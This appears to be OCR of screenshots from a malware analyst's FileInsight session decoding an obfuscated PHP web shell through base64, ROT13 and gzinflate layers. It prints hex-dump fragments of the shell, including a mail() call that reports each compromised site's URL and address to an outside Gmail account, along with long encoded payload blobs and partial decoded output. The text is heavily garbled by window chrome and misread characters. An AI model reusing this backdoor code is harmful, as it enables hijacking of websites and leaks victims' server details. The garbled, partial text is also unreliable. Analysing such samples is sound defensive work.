		Swa	p case	53 54 22 5D 3B 0D 0A 24 69 6E 6A 20 3D 20 24 5F ST"]; \$inj = \$
			000000A0	53 45 52 56 45 52 5B 22 52 45 51 55 45 53 54 5F SERVER ["REQUEST
			000000в0	55 52 49 22 5D 3B 0D 0A 24 62 6F 64 79 20 3D 20 URI"]; \$body =
			00000000	22 4A 43 45 20 53 68 65 6C 6C 73 20 62 6F 67 65 "JCE Shells boge
			000000D0	6C 20 5C 6E 24 77 65 62 24 69 6E 6A 22 3B 0D 0A 1 \n\$web\$inj";
			000000E0	24 73 61 66 65 6D 30 64 65 20 3D 20 40 69 6E 69 \$safem0de = @ini
			000000F0	29 3P 0D 0A 69 66 20 29 21 24 73 61 66 65 6D 30)
			00000110	64 65 29 20 7B 24 73 65 63 75 72 69 74 79 3D 20 de) (Ssecurity=
			00000120	22 53 41 46 45 5F 4D 4F 44 45 20 3D 20 4F 46 46 "SAFE MODE = OFF
			00000130	22 3B 7D 0D 0A 65 6C 73 65 20 7B 24 7 Serint is running enlage wait
			00000140	72 69 74 79 3D 20 22 53 41 46 45 5F 4D 4F 44 45 rity SAFE No PE
			00000150	20 3D 20 4F 4E 22 3B 7D 3B 0D 0A 24 73 65 72 70 = ON"; ; \$serp
			00000160	65 72 3D 67 65 74 68 6F 73 74 62 79 6E 61 6D 65 er=gethostbyname
			00000170	28 24 5F 53 45 52 56 45 52 5B 27 53 45 52 56 45 ((\$_SERVER['SERVE
🗟 Navigation	📝 Structures 🛛 🖸	Decode	00000180	52 5F 41 44 44 52 27 5D 29 3B 0D 0A 24 69 6E 6A R_ADDR']); \$in]
Bookmarks			₽ 00000130	79.6F.61.6D.65.28.24.5F.53.45.52.56.45.52.5B.27. wname (\$ SFRVFR['])
	_	_	000001R0	52 45 4D 4F 54 45 5F 41 44 44 52 27 5D 29 3B 0D REMOTE ADDR'1);
	_		000001C0	OA 6D 61 69 6C 28 22 73 65 74 6F 72 61 6E 34 30 mail ("setoran40
Ox2e error_re	porting		000001D0	34 40 67 6D 61 69 6C 2E 63 6F 6D 22 2C 20 22 24 40gmail.com", "\$
			Outrust	
			<	
🚰 Values 🛛 🔁	Bookmarks 🛛 📰 Ca	lculator	📃 Output 🛛 📧 Scrip	
Press F1 for help				
	5	(x1 M 🧔	



o ×

			- X
			^
		-	¥ п
	_		
			,
Offset 2Eh (46) Length	7747h (3053	5) C	VR
🕆 🖡 🛰 🗤 🔛 🚾 A 🖸	4:34 PM 8/7/2021	\Box	





d X

													> -	×
														>
														1
tor").														
.01 /,														
	_	_	_	_	_	_	_	_	_	_	_	_	>	
														4
														>
								Ln		Col	16 DM	Len (0 1	NS
	1	Ĉ,	2	\$ »)	臣	vm	A	U		4:35 8/7/2	2021	Ę	\neg	



Ð

- X

4 🕨 🚽 >

载 🗓 🛰 🕬 🔛 🚾 🗛 💟

Ln 1 Col 11 Len 0 INS

-				
File <u>H</u> ome	e <u>E</u> dit <u>S</u> ear	rch <u>P</u> lug	ins <u>W</u> ind	lows He <u>i</u> p
Operations	Basic Compression Crypto			
Plugins	Encoding	• Emi	ulato codo	
Navigation	Parsing	Emu ► File	comparison	a9a5bd081a7e281f07 × Output of Custom base64 decode* × Output of ROT13* × Output of Raw inflate* × New file 0* ×
Navigation Supported fc Navigation Bookmarks Navigation	Misc Parsing Search Visualization XOR Check for updat Version info	Pecode	<	<pre>NoteStation2010. x pp print (grintlate (str_coll) (base64_decode '\$ Odgot of 0013' x Odgot of Routinus' x NoveRed ' py print (grintlate (str_coll) (base64_decode ('\$x11k5r1)+ffc4k33HT20de21RANE2DDF7yDST1CAgrp0XcT2CL]IDIDSG1959egRtmL USUDDF7Mtx tood dector upon the obset file or tolected to ottrue Upogram ad awo upon 27g1GoLv+syty/nethz12bc34d1+MSSOUTWoocStAteQUARS USUDDF7Mtx tood dector upon the obset file or tolected to ottrue Upogram ad awo upon 27g1GoLv+syty/nethz12bc34d1+MSSOUTWoocStAteQUARS USUDDF7Mtx tood dector upon the obset file or tolected to ottrue Upogram ad awo upon 27g1GoLv+syty/nethz12bc34d1+MSSOUTWOOcStAteQUARS USUDDF5D12bc34d1+MSSOUTWOOCSTAteQUARS USUDDF5D2bc34bc34d1+MSSOUTWOOCSTAteQUARS USUDDF5D2bc34bc34d2+MSSOUTMOCSTAteQUARS USUDDF5D2bc34bc34d2+MSSOUTF00+D2s134bc34d2+MSSOUTF00+D2s334d1+MSSOUTF00+D2s34d1+M</pre>
🖀 Values 🛛 🗔 B	ookmarks 🛛 📊 Cal	lculator	📃 Outpu	t Scripting
Press F1 for help				
	- 5	۵ ،		

FileInsight - New file 0*

McAfee[®]

o ×

inJvOkqisK+7L2Tb9o3Rux1+vV+v3ajknrxA0Xz4jr 🔺 f2wFu2dD2X2Hov18Amdfo4vtgctnX+wXsGz5i/OeH2 S6JdKryo+AceqpfwesmoN0V5ieVFRuYLfwwZccoE4E +q+GuzZeGr5teGrrbl3b8TjROav4DvVp01bj6NWQT3 L70aA99urdEovTrzv4QJgIsEXnz1/bPX8cOeQb7zW1 1fWySZSLEsnhg2Tp1BMh1AqfvkBt26JgHYq+u3j300 lnGKK0R6lgrcz3PuXU52I2viIm1Jiskj0E9oZ+mPV№ 4ui+mpnbHZCOBWC9ChwPjladBmqaNq382/ltrVAyTt pN+VHny9FeD5kxzAOG2k3czho73M37nHZqa6hufA11 kwGJLt7MZ550/2KFmcMMfyA/LouQxifh25p02y9C56 EC5V3pxrwVsmtV77hfAZrZgXHGGlKiElLeKpEEvAL5 M78E1b+yyi8mMeo6XnWfSu9myzBZxVcc6097BTV6zY IM6LN+l1h5pmLW5cta00IJ6nWW7jSoH0r5JiP01jha CxmDaWnrOPtoea9IGPQNfZeOOx07PYMtpqqL5xX2Q2 /qecLPC5NJ8L2MQY7DrJMBrX15hT6vh8nTmYgfoDNz adRsT2uozIrvNheiO4TdgE8GfIZ5NMOY0T9dUbBxuE mWezbICyGVb+5XEbo9Xp9vgEtftP5dY6TPWUm5Ps5r Y7wH/IWnzKYT3D/geSiGzfIprUHT5HOzpjIgXlT4rV L4xrIKyrZgnwii+FKF2OzPWCLapCPcoFBhE6Ue90uj ND7pQo9yn/MxbcBzzlHwFrB/uCeDns/18oy/UD7z+F vyT0GHsaQN+4RvyAePd80x5qFD/1Z0eIxxS6mr+Apj 0MaaLcD3IOQFYFOS0M07mFPi714g2I9NJSvKkyp4vc 03YxmyNvpabVeg9uvoX071VUafH7Kuqd6OBpvL00ik Du8lUpzYU2lhcYjzC1/5micMLZm1TOMH+9YM6y/jZc c9BRvfXG7A/A7OMYUXLu0Z1R1rGWOC2wH6ENgFD1Uh 8mfxO/VhbiGsOaWu64MWbjB2CraHauQY+Tcu7LuRWr /McdAtcRYsaJZqVdJ5GMM/oz007cC0j7kgg6ScJVUc /Y/+v81.0~WwbrM5RY/OChA1.mCFWbv1~GRDV14+7.VTF

Ŧ

Ln 1 Col 11 Len 0 INS

 \Box

① ▲ ① □ 4:37 PM
 8/7/2021
 8/7/2021

File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lugins <u>W</u> indow	vs He <u>l</u> p		
Derations			
Plugins			
Navigation 4 fb0e2a9a9c6a9	a9a5bd081a7e281f07 × Output of Custom base64 decode* × Output of	ROT13* × Output of Raw inflate* × New file 0*	×
Supported for HIML, OLEZ, PE and Hash.	<pre>thp print(grinflate(str_rotl3(base64_decode(</pre>	<pre>'5X17k5rY1vffz6k638HTz0doR21Wz 2ezu/fBJnF39G91pw+XRem4w1Qbi7I e813DYNc6iQMJrezTq1GoLv+sytg/r xHq8PbTq3/akyYCfvRdhYnTX/35s9c /00jVCnx88sDghs/EwTx8cMkbQJ9fr 0Eyvo0j8DN3/8frVNUk9f0sf6J5ih/ QtxVXye43UKWnugV5dV10Hc+sAQJ1H g PHP interpreter ssqNizzCGAUeay9g7XXcqs1BUHD1u0 RUdxG5BBJCNTC7W5sDvtN+5Y24nrbs 9ugBaf4wKP88sS15C7G+nh1irc09h0 jeOMbJ8jjYBBNJE2Jz7xGtnc4nt0hx 08kTp+Na8WvIJiXGUX7YtvqM+ErYBr 10009F4sTkm/pc5+p0jJa0gC/2Ac 1YH9zsb9ToTsyGvvy6KdUv funningf+jDlefs gNfHHcP/By/fHZbqPs2 M7DZB+7XG5+sz2noyutd0 usYHQJiFSkq7ekK2Vy15f 8mys+X1ej0H+3P2Id20Jq Dje+7kHue5U5G6w3pj1E2 8+0u4Nkoy+Ts5CaceHnkt axu5/U4f4PsyD2qtcqeLF Uom3S6/L8o60XTp0qx025 vhm1FhovRx8ZK2CS+BP0.</pre>	<pre>NtZnDPJe7yBoNItCAgzp0XcTZCLjICTp85qf9fegKtnX OksFIDcHL100KK6W0anD7ftwSQvbYweorHRAEqoXaz ethzfEzb8W6MpYzhVc/di4wnm6tvF3qMeu3tgimehuw1 rUWsdtheHxMmUihIuIXTC2mOXHUZHM6tLsrwiaXxBIV3H bbEPT0MegFLgfpe7EId+sM0BDR8avVlz9aXSr+Hvadf4C jW859VZ3B6J+k6eaAtL6FkBd7/1K5wx6cvn5vi998/cg5 r23GrTr22sZr0PrB6tkXMuyw5LauKD9qME99C9iI3mir0r Pl7qBt9lG8xJCRhLzsIZPqy3sVUKiAd5C9mF/zYK39M DrUBzZMWd2GjMkG2520GalJxbg2yzW0IFG0CfXssIG62 zijXyuarw67IPj0mHGkiu370px2o2c02jrLmwqvgCeuJ lV4y4obDS5PkLuQJAM4RB20rQkoE3wingJG0dDFBceb DH5nR5j1r3PAE5G4EWdnEcmgy9M2bLGhXrPe0rWIQs4r6 CmmDJ91PYRo+caEaHcMyN988j8MzrIVmmrFFH9+NWL6N DPSc2dJRsZCaLkNZ2qu2JBqtEC+N5Q26DobsVk7dIc8bob taZrRbcEK8N838EeFD4+xQ83M0I1+9CaaCXpzqyA524NwJ m/jta701T8VEs/VpuF9vsgY7KJ+7Xpuy6VSZ7eR4KNw iZdVpYSuce+rmt18V0f8/cgMxTTAPawncFlOXDvcI0y7o2 FB6000 xEicQ/35xpD3j+35Uq2V4mqnc+PIy06huH0 CffaS0025EF0j0tNyjw6f0MxUy1YMM%OALnN8ifevRM6 274h5j3xTGW3MaxFcchC8jvFsiWTFk7NpoWZKtU21041i5 H6hRD4CPi7cFC6Yx7SxngK2D6vC/wBXPQLXmXMAMVx71 Y4VAMEEBYFfgnF/wyLr91VHgrOERyW3gZXKGGyFcfCgT 27Eb39ihwDnyA6BH8D114ts87n2B63PxTW60gaNdzE9Gng 332x6D1LvaJF6j2SLcHgGTPrMeqovClfR/IiS/zfkdm2/M 24fvYabDQv1BaKEULbiIJZY4LMWGZFFSWyzAXYFnkZgXI 5Qx2R7TI1mH9PpLB7yLvDSDUz7Tzr9VY39eV+6bIKJous thSiVronvnzWm8t/DBusv2VV&4FVses66i0fdAbioeNLv4</pre>
💼 🖶 🧮 🏹 📩 🖌			

FileInsight - New file 0*

o ×

inJvOkqisK+7L2Tb9o3Rux1+vV+v3ajknrxA0Xz4jr 🔺 f2wFu2dD2X2Hov18Amdfo4vtgctnX+wXsGz5i/OeH2 S6JdKryo+AceqpfwesmoN0V5ieVFRuYLfwwZccoE4E +q+GuzZeGr5teGrrbl3b8TjROav4DvVp01bj6NWQT3 L70aA99urdEovTrzv4QJgIsEXnz1/bPX8cOeQb7zW1 1fWySZSLEsnhg2Tp1BMh1AqfvkBt26JgHYq+u3j300 lnGKK0R6lgrcz3PuXU52I2viIm1Jiskj0E9oZ+mPV№ 4ui+mpnbHZCOBWC9ChwPjladBmqaNq382/ltrVAyTt pN+VHny9FeD5kxzAOG2k3czho73M37nHZqa6hufA11 kwGJLt7MZ550/2KFmcMMfyA/LouQxifh25p02y9C56 EC5V3pxrwVsmtV77hfAZrZqXHGG1KiE1LeKpEEvAL5 M78E1b+yyi8mMeo6XnWfSu9myzBZxVcc6097BTV6zY TM6LN+l1h5pmLW5cta00IJ6nWW7jSoH0r5JiP01jha CxmDaWnrOPtoea9IGPQNfZe00x07PYMtpqqL5xX2Q2 /qecLPC5NJ8L2MQY7DrJMBrX15hT6vh8nTmYgfoDNz adRsT2uozIrvNheiO4TdgE8GfIZ5NMOY0T9dUbBxuE mWezbICyGVb+5XEbo9Xp9vgEtftP5dY6TPWUm5Ps5r Y7wH/IWnzKYT3D/geSiGzfIprUHT5HOzpjIgXlT4rV L4xrIKyrZgnwii+FKF2OzPWCLapCPcoFBhE6Ue90uj ND7pQo9yn/MxbcBzzlHwFrB/uCeDns/18oy/UD7z+F vyT0GHsaQN+4RvyAePd80x5qFD/1Z0eIxxS6mr+Apj 0MaaLcD3I0QFYFOS0M07mFPi714g2I9NJSvKkyp4vc 03YxmyNvpabVeg9uvoX071VUafH7Kuqd60BpvL00ik 0u8lUpzYU2lhcYjzC1/5micMLZm1TOMH+9YM6y/jZc C9BRvfXG7A/A7OMYUXLu0Z1R1rGWOC2wH6ENgFD1Uh 8mfx0/VhbiGsOaWu64MWbjB2CraHauQY+Tcu7LuRWr /McdAtcRYsaJZqVdJ5GMM/oz007cC0j7kgg6ScJVUc VY/+v8T.OoWwbrM5RY/OChAT.mCEVbv1c9RDV14+7.VT^e

Ŧ

Ln 1 Col 11 Len 0 INS

 \Box

① ▲ ① □ 4:37 PM
 8/7/2021
 8/7/2021
V F	FileInsight - Output of Send to (CLI)*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lu	<mark>gins</mark> <u>W</u> indows He <u>l</u> p
Operations	
Plugins	
Navigation 4	fb0e2a9a9c6a9a5bd081a7e281f07 × Output of Custom base64 decode* × Output of ROT13* × Output of Raw inflate* × New file 0* × Output of Send to (CLI)* ×
Supported for HTML, OLE2, PE and Flash.	Command line: C:/Users/user/Desktop/tools/php-8.0.7-Win32-vs16-x64/php.exe -f c:\users/user/appdatalocal\temp\tmpqr2if3 error_reporting(0); Sif (lisset(5_SESSION('bajak'])) (Svisicount = 0; Subject = 5_SERVER("HTTP_HOST"); Safem0de = 0:ni_get('safe_mode'); if (lissetmode) [Security "SAFE_MODE = OFF";) else (Ssecurity "SAFE_MODE = OFF";) else (Ssecurity "SAFE_MODE = OFF";); else (Ssecurity "SAFE_MODE = OFF";); else (Ssecurity "SAFE_MODE = OFF";); else (Ssecurity "SAFE_MODE = OFF";); else (SSESSION('bajak'] = 0; } else (SSESSION('bajak'] = 0; } else (SSESSION('bajak'] = 0; } scheme(Source, Sdesti); sdesti = SSERVER('SCHTP_FILENAME'); Sdesti = SSERVER('SCHTP_STERVER_SAME_'); sdesti = SSERVER('SCHTP_STERVER_SAME_'); erho " <fort colora#uffserver'server':="" destabet="" eizer3="" iderve':<br="">Sent the whole file (11834 bytes) to external program. Output of external program (stdout) is opened as new tab.</fort>
	<
🚰 Values 🛛 🗔 Bookmarks 🛛 🧱 Calculator	📃 Output 🔤 Scripting
🖪 B 🔁 🔽 📫	



-

ð X

												۱ ک	> -	×
														^
tor");														
														٧
_	-	-	-	-	-	-	-	-		-	-		>	
_		-		-						-				4
														>
								Ln	1	Col 1 1:37	1 PM	Len	0 1	NS
	-	Ĉ,	2	\$ »)	臣	vm	A	U	8	/7/2	021		~	

				FileInsight - New file 0*	
File <u>H</u> ome <u>E</u> dit	<u>S</u> earch <u>P</u> lugir	ns <u>W</u> indows He <u>l</u> p			
*> - 2 - 5		Enter a LIRI bere	T CI		
	Øx10 Text	Lise Internet Explorer Provy	🔁 🛛		
New Open Close Save	View View as	Enter your provy as [Server Port] here	Get		
File	View	Web			
Navigation		fb0e2a9a9c6a9a5bd081a7e281f07 × 0	utput of Custom base64 d	decode* × Output of ROT13* × Output of Raw inflate* × New file 0* ×	
X Supported for HTML, OLE2, F	E and Flash.	(2php print(gzinf)	to (ctr. rot13/k	222064 docodo (15217k5r21uffz6k638umz0doP71WNH7pDDIo7wPoNItC	Accontract in Cipse of Stock Ktox
Navigation Structures Bookmarks	Decode T	<pre><?php print(gzinfla nz//nP3//2w8aN3cRcg seGuGp7Whxr9/CjM4q0 emvwp6hBkEmWuVr1q7I 82G+bKB5H+L1rTrcHq3 75fYpu/PxrmPs0NBNq1 vju293B07hfjH0SHCj- UnKe5uucivUgcd+McPr G3GTHS51xhNL17M5Az- BfqcpaMQ2S+taQi8qx1 IZ9QRPdPzda9ZPZVf20 +h7W2Ue3XsVYNoW71B3 ripyWm2ie4qu6BPYE+0 NjYXT/HfDbBtxzE/Hyv 3ccBsjpyr4NHkfGCeb0 rcyUDWIK+FC2Yp5hjE0 5zHesf3gA2VvCRK8xf0 t+aC4Tbc+y20H2DXvWH g8LHtduQGsI55Bo2Zta 8ap2R00b/wVnRn0kPoy sPOQfEdpZiiF3I27RV8 BSU8B67EGBffCP0xRi zzP0khHV3J6ryITM9Cy ho3oBhJqAbHZBIqCk20 yFiX1/EbviazqUE3r00 rbS87Fui/Z+8+1LYFE4 2FIVQYkKdLFPiRVNt70 4v029fF+alt+6Ud8ypTm<</pre>	ate (str_rot13 (k pW7Sa9sgoNMPmX) pW81AP72X5W182 DoJ4sSewarP3NDs SchBXEJiiLqjG23 FTaiDCZ4IHoyM64 Fyn+7k77Soiyat1 al6qQ1Y0Z/oPvoH B/atML9PYVfGW2 LjpQpxOXet+57N3 PrHQT36jRcnGce9 inVE1Xqm0w1hB/i bDXS1a0/6tGBpr8 vD0pPRBRS9uBX61 V4vv1a3Z8xh5vhW 07Idpv1HSgdVSsG CtlAr+63kne8Oda H/iQIhaFoBOSPU aYhWu7k+15BaXJ1 yAbwPbeeYrPXcI SASHHU/OEwwW825 7+0CXEGjg/w30u b0hC9b9bTYJxmm JirITp9q8Zh5Qg1 4mBf1+k5mA7wmW Jh6LYwVrPV/Duym	<pre>base64_decode('5X17k5rYlvff26k638HT20doR21W2NtZnDPJe7yBoNItC rAVNROkAfCYkrD2ezu/fBJnF39G91pw+XRem4wlQbi7L0ksFIDcHL10OKK6w K/7zv9vgB8Khd6e8l3DYNc6iQMJrezTq1GoLv+sytg/nethzfEzb8W6MpY2h se8J3J4BoDwbLjxHq8PbTq3/akyYCfvRdhYnTX/35s9crUWsd+heHXMmUihI 384GfLBdCEixi+/O0jVCnx88sDghs/EwTx8cMkbQJ9fnbEPT0MegFLgfpe7E uwKia6R+jeD+nboEyvo0j8DN3/8frVNUk9f0sf6J5ih/jW859VZ3B67+K6ea f/PKbUBgHhIYLUQtxVXye43UKWnugV5dV10Hc+sAQJ1F23GrTr22sZr0PrB6 HdD/I34mLXFViu/w3tYyOMw2C1sd8Xo9vWe9Tg2dkuVhC9L7qBt91G8xJCRh zHNajYbpcx31sQI5XaOnNmsjAH3MbqECMb2kwBnbM9bnZDrUBKzMWd2GjMkG DDccIMvLIPOHMRXedFS5NftkIMV/DNHLdfm8NWjV0+CbzzijXyuarw67IPj0 F05D710TK4Ju+boeabYJvGd09wmYVmMfM0+DPzeTfpbNF1V4y4obD555PkLu iPY1LfT3zXFWgFssqNizzCGAUeay9g7XXcqs1BUHD1u0H5nR5j1r3PAE5G4 SDRnyNxLLdbnnXRUdxG5BBJCNTC7W5sDvtN+5Y24nrbsxmDJ91PYRo+caEaH k0aQTJG+zGTFwX9ugBaf4wKP88SS15C7G+nhlirc09h0Psc2dJRsZcaLkNZZ WQ0y1fnFtq6QeQjeOMbJ8jjYBBNJE2Jz7xGtnc4nt0hXaZrRbcEK8N838EeF S3CsaEJgqdHncr08kTp+Na8WvIJiXGUX7YtvqM+ErYBnm/jta070IT8VEs/V abig7BAB9u1TFmGAeP8W9F4STkm/pcS+p0jJa0gC/ZAdZdVpY5uce+rmt18V Jrar+2wA9TUJ5HIYZPGCyx1YH9zsb9ToTsyGvvy6KdUvmEVy3qfjCp8I3an8 lbp1c5jmTwB10kH/jfumi7jCzxcJb273GgC+jY0w2fgS5pF68aZb6qxEicQ/ LTu4EZtBMWrSeIfLU5XUCutgMfHHcP7ByJ7fHdZbqPs2dTaSDoz5Ebj0tNy 5b4yPwyeXMV02WE21LqmBI1M7DZB+7XG5+sz2n0yutdQ74h5jJxTGW3MaxFc 2XCPugF+R1iHcuZ6T1inwY4uSYHQJiFSkq7ekK2VyI5fH6hRD4CPi7cFc6Yx 70k4yMiv4eyC6/TJgQW6jA88mys+XlejOH3P2IdZ0Jgq4vAMsEBYFfgnF/w NNpkbKUjTKtbgY81h5NK5KLDj+7kHue5U5G6w3pj1E2ZFb39ihwDnyA6BH8 1LBsUiLR18&htgsdS/rHIX8+0u4Nkoy+Ts5CaceHnkH3Zx6DILvaJF6j2SL jfHD20dH4K3k+NNJhJIXDGIaxu5/U4f4PsyD2qtcqeLE+fvY+abDQviBaKEU nxR/iJC7gMtKoe6054Y3qIPUom386/L8o60XTp0qx025Qx2R7T11mH9PpLB7 /WHbK0wC8a0NCnDM3dPaIvvbm1FbovBv8ZK2GStEP0.TbSiYrOnvnvcWm8t/</pre>	Agzp0XcTZCLjICIp85qf9fegKKtnX: 0aonD7ftwwSQvbYvweorHRAEqoXaz: Vc/di4wnm6+vF3qMeu3+gimehuwla; u1XTC2mOXHUZHM84LsrwiaXxB1V3H- Id+sM0BDR8avVlz9aXSr++Mvadf4C; ArL6FkBd7/1K5wvS6vn5vi998/cg5; tkXMuyw5LauKD9qME99C9iI3mir0r; LzSIZPqy3sVYUKiAd5C9mF/zYKX9M- Z5ZOGalJxbgZyzWOIFG0CfXss1GG2; mHGkiu370px2o2c0ZjrLmwqvgCeuJ; QJaM4RBZ0rQkoE3wingJG0dDFBceb; EWdnEcmgy9M2bLGhXrPe0rWIQs4r6 CMyN9S8j8aMzrIVmmRrFPH9+NWL6N; qu2JBqtEC+N5Q26DobsVk7dIc8bob; D4+xQ83M011+9CaaCXpzqyA524NwJ, puF9vsgY7KJ+7Xpuy6VS27eRR4KWw; Of8/cgMxTTAPawncFlOXDvcI0y702 rYm1B85x5rXo6/nY0vvBirNK2NGaC; 35xpD3j+35UqzV4mqnc+PIyo6huH0; jw6f0MxUy1YWMW6NALnN8ifevRKM6 QhC8jvFsiWTFk7NpoW2KtU21Q41i5; 7SXngK2D6vC/wBXPQLXmXMAMVvx71 yLr91VHgrOERyW3qZJKMcGyFcfCgT; D114ts87n2B63PxTW60gaNdzE9Gng; cHgGTPrMeqovc1fR/IiS/zfkdm2/Mc
			_		
		Copied 20525 bother for	m offeet 0-0-	to 0.7774 to you tab lyou file 01	
		Copied 30535 bytes fro	m oriset UX2e	to UX///4 to new tap 'New IIIe U'.	
					Method 3: Processing da
		<			
🚰 Values 🛛 🗔 Bookmarks 📑	Calculator	Output Scripting			
•• Hi •• T	-				

McAfee[®]

٥

X

4 🖻 🚽 🗙

inJvOkqisK+7L2Tb9o3Rux1+vV+v3ajknrxA0Xz4jr 🔺 f2wFu2dD2X2Hov18Amdfo4vtgctnX+wXsGz5i/OeH2 S6JdKryo+AceqpfwesmoN0V5ieVFRuYLfwwZccoE4E +q+GuzZeGr5teGrrbl3b8TjROav4DvVp01bj6NWQT3 L70aA99urdEovTrzv4QJgIsEXnz1/bPX8cOeQb7zW1 1fWySZSLEsnhg2Tp1BMh1AqfvkBt26JgHYq+u3j300 lnGKK0R6lgrcz3PuXU52I2viIm1Jiskj0E9oZ+mPV№ 4ui+mpnbHZCOBWC9ChwPjladBmqaNq382/ltrVAyTt pN+VHny9FeD5kxzAOG2k3czho73M37nHZqa6hufA11 kwGJLt7MZ550/2KFmcMMfyA/LouQxifh25p02y9C50 EC5V3pxrwVsmtV77hfAZrZgXHGG1KiElLeKpEEvAL5 M78E1b+yyi8mMeo6XnWfSu9myzBZxVcc6097BTV6zY TM6LN+l1h5pmLW5cta00IJ6nWW7jSoH0r5JiP01jha CxmDaWnrOPtoea9IGPQNfZe00x07PYMtpqqL5xX2Q2 /qecLPC5NJ8L2MQY7DrJMBrX15hT6vh8nTmYgfoDNz adRsT2uozIrvNheiO4TdgE8GfIZ5NMOY0T9dUbBxuE mWezbICyGVb+5XEbo9Xp9vgEtftP5dY6TPWUm5Ps5r Y7wH/IWnzKYT3D/geSiGzfIprUHT5HOzpjIgXlT4rV L4xrIKyrZgnwii+FKF2OzPWCLapCPcoFBhE6Ue90uj ND7pQo9yn/MxbcBzzlHwFrB/uCeDns/18oy/UD7z+F vyT0GHsaQN+4RvyAePd80x5qFD/1Z0eIxxS6mr+Apj 0MaaLcD3I0QFYFOS0M07mFPi714g2I9NJSvKkyp4vc 03YxmyNvpabVeg9uvoX071VUafH7Kuqd6OBpvL00ik 0u8lUpzYU2lhcYjzCl/5micMLZm1TOMH+9YM6y/jZc c9BRvfXG7A/A70MYUXLu0Z1R1rGW0C2wH6ENgFD1Uh 8mfxO/VhbiGsOaWu64MWbjB2CraHauQY+Tcu7LuRWr /McdAtcRYsaJZqVdJ5GMM/oz007cC0j7kgg6ScJVUc 7Y/+v8T.OoWwbrM5RY/OChAT.mCEWbv1c9RDV14+7.VT5

ta with CyberChef

Ln 1 Col 11 Len 0 INS

 \Box

			FileInsight - Output of Send to (CLI)*
File <u>H</u> ome	e <u>E</u> dit <u>S</u> ea	rch <u>P</u> lugins	Windows He <u>l</u> p
Operations Plugins	Basic Compression Crypto Encoding		
Navigation	Misc	Emulate cod	a9a5bd081a7e281f07 × Output of Custom base64 decode* × Output of ROT13* × Output of Raw inflate* × New file 0* × Output of Send to (CLI)* ×
X Supported for Navigation E Bookmarks	Search Visualization XOR Check for updat Version info	Decode	<pre>min pip print(grinflate(str_rotl3(base64_decode('\$X17k5rlivff26k6381r0dcR21MNtZnDP379NttCAgp0XcT2CLjIC195Gf9f9f9kKtnX sucp7Mix19/CJM4q0Yw8laP72X5M18X/72v9vgB8hd6e313D1Xc6(CMJrezTq1C0Lv+sytg/nethf2b9M6hy2Nrc/di4mm64r53Meu34gimehu4 sucp7Mix19/CJM4q0Yw8laP72X5M18X/72v9vgB8hd6e313D1Xc6(CMJrezTq1C0Lv+sytg/nethf2b9M6hy2Nrc/di4mm64r53Meu34gimehu4 204br8htLitTcTedotAtt2110j62346fbEdEixi/Oq0YCnx88 gbfs/EwTx8c4kb09fbEbTMosgT16p27Eid+sM0BR84V129Xx1+Hvadf4C 204br8htLitTcTedmKEmijd23346fbEdEixi/Oq0YCnx88 gbfs/EwTx8c4kb09fbEbTMosgT16p27Eid+sM0BR84V129Xx1+Hvadf4C 204br8htLitTcTedmKEmijd23346fbEdEixi/VdVdY43UKMnagV5d1UC+sAQJF23GrT222sT0PE66tkMNyw5LauKD9qAE99C9iJ3mir0 Unk5ucuVgd+tedmEdg1020/204br841j404x51y0Mc21d8Xc99We9f32d4UthC517g451G83yC6hLz312Bq33YUK1Ad5CmF/2KX8M G3GfH851xhLlTMSA+B/atM19PVfGWHNajYbcx31sQ15Xa0NmsjAH3MbgCM52kWahbM9haDrUBkzMd2GjMkC552GclJxbg2y200FC0CfXs1G2 BfqcaMQ28+taQ18qx1jpQpXXet+57NJDc1MvL1P0HMRXef5SNftk1MV/DNHdfM8NÿV0+Cbz2ijXyuarw67IPj0MF1404b555Hx1uJ3M4g2CQ4L22Q202jLmwq0gCuJ J230Rddzd32P2Vf2PHC036jRenGce05D710TK40u+boabYJvGd9wmVMmfM0+DP2eTfbNF1V44Cbb555Hx1uJ3M4RECM9S938Azr1VmMrFFH9HNL0 hyZtaf4qu68Pt2+toXs1a0/6t6Bpr5RnyKNL1dbnnxRM4x58BsfCNrC7W5sDv1N+52ArbsmD191PKc+caEateAvyM9S93Bazr1VmRFFH9HNL0 hyZtaf4qu68Pt2+toXs1a0/6t6Bpr5RnyKNL1dbnnxRM4x58BsfCNrC7W5sDv1N+52ArbsmD191PKc+caEateAvyM9S93Bazr1VmRFFH9HNL0 hyZtyTHfDbBtx2F/HyD0pRBRS9uBX6k0aQTJG+2GTFWX9ugBaf4wKP88S815C7G+nh1irc09h0Psc2dJRs2CaLkNZ2qu2JBqtEC+N5Q26DobVk7d16bb 3c6Bsjpyr4NHkfCcbN4v1a328h5vM00y1fnFtq6Qe0je0KbJ3jjNBND7227Xstcn4nt0hXa7kbcFKN8382EPD4*x0630011+9CaaCxp2qx524Nw 5yH53G2VCR6kxfCt1L+63km860dabig7BAB9UTFM6kP4SHT1J3GUX7YtvqH+FYBm/jL5070T89Eb704rBv9B99322CaLkNZ2qu3BqtEC+N5Q63N01+9CaaCxp2qx524Nw 5yH53G2ZzaNhw7hi1BAP2UJQ9VPBRS9uBX6k0aQTJG+2GTFWX9ugBaf4wKP88S815C7G+nh1irc09h0Psc2dJRs2CaLkNZ2qu3BqtEC+N5Q63N01+9CaaCxp2qx524Nw 5yH53G2ZzaNhw7hkF2x9M92beYFyV2M2VPE2UJQ1HF1C5D9F59730GV2AG4d5055D505073J70T88Eb7047827417Xu9V5272E44KW 5yH53G2ZzaNw7hk1020F3B9UTFM5W9992J72279Y394515U2UQ01H192D97597304904780Ac2F33382C20LkNZ2qu3B32C000X9V1WMKMANN51F0F27667</pre>
😭 Values 🔂 🛃	ookmarks 🔢 📰 Ca	lculator 🔳 C	utput Scripting
Press F1 for help			
	— —	🗉 🔀 🚺	

D X

